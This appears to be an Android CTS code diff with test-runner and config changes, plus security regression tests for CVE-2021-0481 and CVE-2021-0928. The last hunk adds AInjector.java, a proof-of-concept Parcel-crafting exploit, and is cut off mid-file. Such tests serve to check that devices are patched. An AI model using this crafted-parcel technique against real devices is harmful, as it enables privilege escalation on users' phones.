import com.android.tradefed.testtype.ITestInformationReceiver;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -34,9 +36,10 @@
* Custom JUnit4 parameterized test runner that also accommodate {@link ITestInformationReceiver}
* to support {@link BaseHostJUnit4Test#getDevice()} properly.
*/
-public final class DeviceParameterized extends Parameterized implements ITestInformationReceiver {
+public final class DeviceParameterized extends Parameterized implements IAbiReceiver, ITestInformationReceiver {
private TestInformation mTestInformation;
private List<Runner> mRunners;
+ private IAbi mAbi;
public DeviceParameterized(Class<?> klass) throws Throwable {
super(klass);
@@ -66,9 +69,25 @@
}
}
+ @Override
+ public void setAbi(IAbi abi) {
+ mAbi = abi;
+ for (Runner runner: mRunners) {
+ if (runner instanceof IAbiReceiver) {
+ ((IAbiReceiver)runner).setAbi(mAbi);
+ }
+ }
+ }
+
+ @Override
+ public IAbi getAbi() {
+ return mAbi;
+ }
+
public static class DeviceParameterizedRunner
- extends BlockJUnit4ClassRunnerWithParameters implements ITestInformationReceiver {
+ extends BlockJUnit4ClassRunnerWithParameters implements IAbiReceiver, ITestInformationReceiver {
private TestInformation mTestInformation;
+ private IAbi mAbi;
public DeviceParameterizedRunner(TestWithParameters test) throws InitializationError {
super(test);
@@ -84,6 +103,9 @@
}
((ITestInformationReceiver) testObj).setTestInformation(mTestInformation);
}
+ if (testObj instanceof IAbiReceiver) {
+ ((IAbiReceiver) testObj).setAbi(mAbi);
+ }
return testObj;
}
@@ -98,6 +120,16 @@
}
@Override
+ public void setAbi(IAbi abi) {
+ mAbi = abi;
+ }
+
+ @Override
+ public IAbi getAbi() {
+ return mAbi;
+ }
+
+ @Override
public Description getDescription() {
// Make sure it includes test class name when generating parameterized test suites.
Description desc = Description.createSuiteDescription(getTestClass().getJavaClass());
diff --git a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
index fe6afac..fc6be6f 100644
--- a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
@@ -24,6 +24,7 @@
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -93,6 +94,14 @@
}
}
+ @Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
@Test
public void testNonStagedDowngrade_downgradeNotRequested_fails() throws Exception {
// Apex should not be committed in non-staged install, such logic covered in InstallTest.
diff --git a/hostsidetests/install/src/android/cts/install/host/InstallTest.java b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
index 5580466..d03bfab 100644
--- a/hostsidetests/install/src/android/cts/install/host/InstallTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
@@ -18,11 +18,13 @@
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -96,6 +98,14 @@
}
}
+ @Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
@Test
public void testInstall() throws Exception {
mStaged = false;
diff --git a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
index 3c67a10..70bb3a1 100644
--- a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
@@ -24,6 +24,7 @@
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -91,6 +92,14 @@
}
}
+ @Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
/**
* Samegrading on a non-APEX install type should be success.
*/
diff --git a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
index cf58863..21067b5 100644
--- a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
@@ -24,6 +24,7 @@
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -81,6 +82,14 @@
}
@Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
+ @Before
public void assumeApexSupported() throws DeviceNotAvailableException {
if (mInstallType.containsApex()) {
assumeTrue("Device does not support updating APEX",
diff --git a/hostsidetests/packagemanager/codepath/AndroidTest.xml b/hostsidetests/packagemanager/codepath/AndroidTest.xml
index 2eb68ce8..083a00f 100644
--- a/hostsidetests/packagemanager/codepath/AndroidTest.xml
+++ b/hostsidetests/packagemanager/codepath/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsCodePathHostTestCases.jar" />
</test>
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
index b88adb4..70b742e 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/AndroidTest.xml
@@ -23,6 +23,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<!-- Device admin/owner requires being run in system user -->
<option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index d346a62..3c105ee 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
index 6090314..cad7454 100644
--- a/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/host/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml b/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
index 56ab6ca..62f681e 100644
--- a/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
+++ b/hostsidetests/packagemanager/dynamicmime/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml b/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
index f411309..1b6f8b0 100644
--- a/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
+++ b/hostsidetests/packagemanager/extractnativelibs/AndroidTest.xml
@@ -18,7 +18,9 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
- <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsExtractNativeLibsHostTestCases.jar" />
</test>
diff --git a/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
index f64e040..550308f 100644
--- a/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
+++ b/hostsidetests/packagemanager/installedloadingprogess/AndroidTest.xml
@@ -19,6 +19,8 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsInstalledLoadingProgressDeviceTests.apk" />
diff --git a/hostsidetests/packagemanager/multiuser/AndroidTest.xml b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
index d05dabf..0e53839 100644
--- a/hostsidetests/packagemanager/multiuser/AndroidTest.xml
+++ b/hostsidetests/packagemanager/multiuser/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/packagemanager/parsing/host/AndroidTest.xml b/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
index 2a82513..30f994f 100644
--- a/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
+++ b/hostsidetests/packagemanager/parsing/host/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsPackageManagerParsingHostTestCases.jar" />
diff --git a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
index 6494b9f..b978585 100644
--- a/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
+++ b/hostsidetests/packagemanager/preferredactivity/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsPackageManagerPreferredActivityHostTestCases.jar" />
</test>
diff --git a/hostsidetests/packagemanager/stats/AndroidTest.xml b/hostsidetests/packagemanager/stats/AndroidTest.xml
index b5d4eb70..cba2993 100644
--- a/hostsidetests/packagemanager/stats/AndroidTest.xml
+++ b/hostsidetests/packagemanager/stats/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsPackageManagerStatsHostTestCases.jar" />
</test>
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
index e5e6810..5f0c200 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
@@ -65,8 +65,20 @@
@AsbSecurityTest(cveBugId = 172939189)
@AppModeFull
public void testRunDeviceTest() throws Exception {
+
+ String cmd;
+
+ //delete a source file just in case AdbUtils.pushResource()
+ //doesn't overwrite existing file
+ cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
+ AdbUtils.runCommandLine(cmd, getDevice());
+
+ //push the source file to a device
AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
- String cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+
+ //delete a destination file which is supposed to be created by a vulnerable device
+ //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
+ cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
AdbUtils.runCommandLine(cmd, getDevice());
installPackage();
@@ -86,11 +98,23 @@
//run the test
Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
+ //go to home screen after test
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+
//Check if TEST_FILE_NAME has been copied by "Evil activity"
//If the file has been copied then it means the vulnerability is active so the test fails.
- cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
+ cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
+ DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
String result = AdbUtils.runCommandLine(cmd, getDevice()).trim();
CLog.i(cmd + " -->" + result);
+
+ //Delete files created by this test
+ cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
+ AdbUtils.runCommandLine(cmd, getDevice());
+ cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
+ AdbUtils.runCommandLine(cmd, getDevice());
+
+ //final assert
assertThat(result, not(is("0")));
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
new file mode 100644
index 0000000..1e6b91a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.*;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0928 extends BaseHostJUnit4Test {
+ private static final String TEST_PKG = "android.security.cts.CVE_2021_0928";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "CVE-2021-0928.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 188675581)
+ @AppModeFull
+ public void testRunDeviceTest() throws Exception {
+
+ CLog.i("testRunDeviceTest() start");
+ installPackage();
+
+ // ensure the screen is woken up.
+ // KEYCODE_WAKEUP wakes up the screen
+ // KEYCODE_MENU called twice unlocks the screen (if locked)
+ getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+ getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
+ getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
+
+ // run the test
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "test"));
+ CLog.i("testRunDeviceTest() end");
+ }
+
+ private void installPackage() throws Exception {
+ installPackage(TEST_APP, new String[0]);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
index 9103c96..891bd18 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
@@ -109,6 +109,13 @@
//in "Browse Files in Other Apps" activity
searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
+
+ //Image is chosen as (evilActivity) so we are getting back to
+ //"Profile Info" dialog window showing clickable user silhouette
+ //end "Cancel" and "OK" buttons.
+ //look for "Cancel button and click it"
+ searchAndClick(mDevice, "Cancel", 2000);
+
} catch (ClickableNotFound e){
Log.d(TAG, e.toString());
assumeNoException(e);
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
new file mode 100644
index 0000000..ce841a4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CVE-2021-0928",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ platform_apis: true,
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ "androidx.appcompat_appcompat",
+ ],
+ sdk_version: "current",
+}
+
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml
new file mode 100644
index 0000000..cd2c607
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/AndroidManifest.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2021_0928"
+ android:targetSandboxVersion="2">
+
+ <application
+ android:allowBackup="true"
+ android:label="cve20210928"
+ android:supportsRtl="true">
+
+ <uses-library android:name="android.test.runner"/>
+
+ <activity android:name=".MainActivity" android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0928" />
+
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml
new file mode 100644
index 0000000..0eb5fe0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/res/layout/activity_main.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <TextView
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java
new file mode 100644
index 0000000..03e94d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/src/android/security/cts/CVE_2021_0928/AInjector.java
@@ -0,0 +1,296 @@
+package android.security.cts.CVE_2021_0928;
+
+import android.annotation.SuppressLint;
+import android.content.ClipData;
+import android.content.pm.ActivityInfo;
+import android.content.pm.PackageItemInfo;
+import android.os.Bundle;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.text.TextUtils;
+import android.util.SparseArray;
+
+import com.android.server.pm.PackageManagerException;
+
+import java.io.Serializable;
+
+@SuppressLint({"ParcelCreator", "ParcelClassLoader"})
+public class AInjector implements Serializable, Parcelable {
+
+ private static final String TAG = "TAG_2021_0928.AInjector";
+ private static final int VAL_BUNDLE = 3;
+ private static final int VAL_PARCELABLE = 4;
+ private static final int VAL_SERIALIZABLE = 21;
+ private static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
+
+ private boolean mDetectRewind;
+ private int mRewind;
+
+ static ActivityInfo sInjectedInfo;
+
+ public static ClipData createClipData() {
+ Parcel parcel = Parcel.obtain();
+
+ AInjector injector = new AInjector();
+ injector.mRewind = doDetectRewind();
+
+ parcel.writeString("android.content.ClipData");
+ beginClipData(parcel);
+ // splitDependencies SparseArray
+ parcel.writeInt(1); // Number of key-value pairs
+ parcel.writeInt(0); // Key
+ parcel.writeInt(VAL_SERIALIZABLE); // Value type
+ parcel.writeSerializable(injector);
+ finishClipData(parcel);
+
+ int a = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.setDataPosition(0);
+ ClipData clipData = parcel.readParcelable(null);
+ int b = parcel.dataPosition();
+ parcel.recycle();
+ return clipData;
+ }
+
+ /**
+ * Write to {@link Parcel} data for {@link ClipData} up to (excluding) {@link
+ * android.content.pm.ApplicationInfo}{@code .splitDependencies} which is written through {@link
+ * Parcel#writeSparseArray(SparseArray)} which uses {@link Parcel#writeValue(Object)}.
+ */
+ private static void beginClipData(Parcel dest) {
+ // Begin ClipData
+ // Begin mClipDescription
+ TextUtils.writeToParcel(null, dest, 0); // mLabel
+ dest.writeStringArray(new String[0]); // mMimeTypes
+ dest.writePersistableBundle(null); // mExtras
+ dest.writeLong(0); // mTimeStamp
+ dest.writeBoolean(false); // mIsStyledText
+ dest.writeInt(0); // mClassificationStatus
+ dest.writeBundle(new Bundle()); // mEntityConfidence
+ // End mClipDescription
+ dest.writeInt(0); // mIcon == null
+ dest.writeInt(1); // mItems.size()
+ // Begin mItems.get(0)
+ TextUtils.writeToParcel(null, dest, 0); // mText
+ dest.writeString(null); // mHtmlText
+ dest.writeInt(0); // mIntent == null
+ dest.writeInt(0); // mUri == null
+ dest.writeInt(1); // mActivityInfo != null
+ // Begin mActivityInfo
+ // Begin ComponentInfo
+ new PackageItemInfo().writeToParcel(dest, 0);
+ // Begin ApplicationInfo
+ dest.writeInt(0); // readSquashed offset==0 (not squashed)
+ new PackageItemInfo().writeToParcel(dest, 0);
+ dest.writeString(null); // taskAffinity
+ dest.writeString(null); // permission
+ dest.writeString(null); // processName
+ dest.writeString(null); // className
+ dest.writeInt(0); // theme
+ dest.writeInt(0); // flags
+ dest.writeInt(0); // privateFlags
+ dest.writeInt(0); // requiresSmallestWidthDp
+ dest.writeInt(0); // compatibleWidthLimitDp
+ dest.writeInt(0); // largestWidthLimitDp
+ dest.writeInt(0); // storageUuid == null
+ dest.writeString(null); // scanSourceDir
+ dest.writeString(null); // scanPublicSourceDir
+ dest.writeString(null); // sourceDir
+ dest.writeString(null); // publicSourceDir
+ dest.writeStringArray(null); // splitNames
+ dest.writeStringArray(null); // splitSourceDirs
+ dest.writeStringArray(null); // splitPublicSourceDirs
+ }
+
+ /**
+ * Continue writing {@link ClipData} started through {@link #beginClipData(Parcel)}, after
+ * writing {@link SparseArray} (which must be written by caller and isn't written by neither
+ * {@link #beginClipData(Parcel)} nor this method.
+ */
+ private static void finishClipData(Parcel parcel) {
+ parcel.writeString(null); // nativeLibraryDir
+ parcel.writeString(null); // secondaryNativeLibraryDir
+ parcel.writeString(null); // nativeLibraryRootDir
+ parcel.writeInt(0); // nativeLibraryRootRequiresIsa
+ parcel.writeString(null); // primaryCpuAbi
+ parcel.writeString(null); // secondaryCpuAbi
+ parcel.writeStringArray(null); // resourceDirs
+ parcel.writeStringArray(null); // overlayPaths
+ parcel.writeString(null); // seInfo
+ parcel.writeString(null); // seInfoUser
+ parcel.writeStringArray(null); // sharedLibraryFiles
+ parcel.writeTypedList(null); // sharedLibraryInfos
+ parcel.writeString(null); // dataDir
+ parcel.writeString(null); // deviceProtectedDataDir
+ parcel.writeString(null); // credentialProtectedDataDir
+ parcel.writeInt(0); // uid
+ parcel.writeInt(0); // minSdkVersion
+ parcel.writeInt(0); // targetSdkVersion
+ parcel.writeLong(0); // longVersionCode
+ parcel.writeInt(0); // enabled
+ parcel.writeInt(0); // enabledSetting
+ parcel.writeInt(0); // installLocation
+ parcel.writeString(null); // manageSpaceActivityName
+ parcel.writeString(null); // backupAgentName
+ parcel.writeInt(0); // descriptionRes
+ parcel.writeInt(0); // uiOptions
+ parcel.writeInt(0); // fullBackupContent
+ parcel.writeInt(0); // dataExtractionRulesRes
+ parcel.writeBoolean(false); // crossProfile
+ parcel.writeInt(0); // networkSecurityConfigRes
+ parcel.writeInt(0); // category
+ parcel.writeInt(0); // targetSandboxVersion
+ parcel.writeString(null); // classLoaderName
+ parcel.writeStringArray(null); // splitClassLoaderNames
+ parcel.writeInt(0); // compileSdkVersion
+ parcel.writeString(null); // compileSdkVersionCodename
+ parcel.writeString(null); // appComponentFactory
+ parcel.writeInt(0); // iconRes
+ parcel.writeInt(0); // roundIconRes
+ parcel.writeInt(0); // mHiddenApiPolicy
+ parcel.writeInt(0); // hiddenUntilInstalled
+ parcel.writeString(null); // zygotePreloadName
+ parcel.writeInt(0); // gwpAsanMode
+ parcel.writeInt(0); // memtagMode
+ parcel.writeInt(0); // nativeHeapZeroInit
+ parcel.writeInt(0); // requestOptimizedExternalStorageAccess
+ // End ApplicationInfo
+ parcel.writeString(null); // processName
+ parcel.writeString(null); // splitName
+ parcel.writeInt(0); // descriptionRes
+ parcel.writeInt(0); // enabled
+ parcel.writeInt(0); // exported
+ parcel.writeInt(0); // directBootAware
+ // End ComponentInfo
+ parcel.writeInt(0); // theme
+ parcel.writeInt(0); // launchMode
+ parcel.writeInt(0); // documentLaunchMode
+ parcel.writeString(null); // permission
+ parcel.writeString(null); // taskAffinity
+ parcel.writeString(null); // targetActivity
+ parcel.writeString(null); // launchToken
+ parcel.writeInt(0); // flags
+ parcel.writeInt(0); // privateFlags
